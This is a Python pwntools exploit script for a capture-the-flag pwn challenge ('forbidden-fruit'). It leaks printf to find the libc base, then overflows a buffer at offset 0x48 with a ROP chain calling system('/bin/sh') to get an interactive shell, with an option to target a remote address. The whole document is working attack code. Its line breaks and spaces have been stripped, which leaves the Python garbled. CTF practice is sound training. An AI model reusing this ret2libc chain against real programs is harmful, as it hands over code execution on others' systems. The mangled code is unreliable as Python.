#!/usr/bin/env python3# -*- coding: utf-8 -*-frompwnimport*context.terminal="tmux neww -a".split()exe=context.binary=ELF(args.EXEor"./chall_patched")libc=ELF("/home/hknhmr/ctf/2025/perfectroot/pwn/forbidden-fruit/chall(4)-1/libc6.so")assertlibcisnotNonedefstart(argv=[],*a,**kw):ifargs.REMOTE:# parse things of this format 83.136.254.84:36100addr,port=args.REMOTE.split(":")returnremote(addr,int(port))ifargs.GDB:returngdb.debug([exe.path]+argv,gdbscript=gdbscript,*a,**kw)else:returnprocess([exe.path]+argv,*a,**kw)gdbscript="""
bp 0x000000000040120a
continue
""".format(**locals())io=start()sla=io.sendlineaftersa=io.sendaftersl=io.sendlineru=io.recvuntilrl=io.recvlineru(b": ")printf_addr=int(rl().strip(),16)libc.address=printf_addr-libc.sym["printf"]rop=ROP(libc)rop.raw(rop.ret)rop.call("system",[next(libc.search(b"/bin/sh\x00"))])info(rop.dump())info("%#x"%libc.address)io.flat({0x48:bytes(rop)})io.flat(b"\n")io.interactive()